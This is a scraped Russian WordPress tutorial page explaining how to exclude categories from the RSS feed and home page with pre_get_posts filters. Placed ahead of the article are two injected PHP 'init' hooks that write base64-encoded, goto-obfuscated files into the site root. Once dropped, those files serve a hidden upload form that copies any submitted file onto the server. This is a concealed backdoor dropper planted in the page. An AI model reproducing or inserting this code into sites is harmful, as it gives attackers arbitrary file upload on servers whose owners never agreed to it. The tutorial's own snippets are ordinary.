add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Как отфильтровать категории с главной страницы и RSS в WordPress » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Dec 252012
 

Довольно часто появляется необходимость – отдавать в RSS-ленту не все посты, например рекламу рассылать незачем – просто назначим ей отдельную категорию и исключим ее из RSS, ну и заодно с главной страницы – принцип одинаковый.

Можно, конечно, поставить специальные плагины, вроде Exclude categories, но работают они не всегда прозрачно, например на lifelongjourney.ru довольно много категорий и в какой-то момент плагин перестал отображать полный список. За что и был снесен. Взамен ему было добавлено с десяток строк кода в functions.php

Определяем ID нужных категорий
Для этого в админке в разделе “Рубрики” (http://yoursite.org/wp-admin/edit-tags.php?taxonomy=category) наводим мышку на нужную категорию – внизу окна браузера будет ссылка на категорию ID тут tag_ID=115. Также можно просто скопировать ссылку правой кнопкой мыши и уже в блокноте вытащить этот ID. В данном случае это 115.

Теперь в файле functions.php:

//Исключение категорий из RSS
//Обратите внимание на знак минус перед категорией!!!!
function myFeedExcluder($query) {
 if ($query->is_feed) {
   $query->set('cat','-115');
 }
return $query;
}
add_filter('pre_get_posts','myFeedExcluder');//Указание WordPress использовать нашу функцию при выводе RSS
//Исключение категории с главной страницы
//Как видно из примера – если Вам надо удалить несколько категорий, просто поставьте их через запятую
function myMainPageExcluder($query) {
    if ( $query->is_home() && $query->is_main_query() ) {
        $query->set( 'cat', '-115,-183' );
    }
}
add_action( 'pre_get_posts', 'myMainPageExcluder' );

 

В принципе эти две функции можно объединить в одну, но это кому как нравиться.

  One Response to “Как отфильтровать категории с главной страницы и RSS в WordPress”

  1. I truly appreciate this post. I have been looking everywhere for this! Thank goodness I found it on Bing. You have made my day! Thank you again!

 Leave a Reply

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

(required)

(required)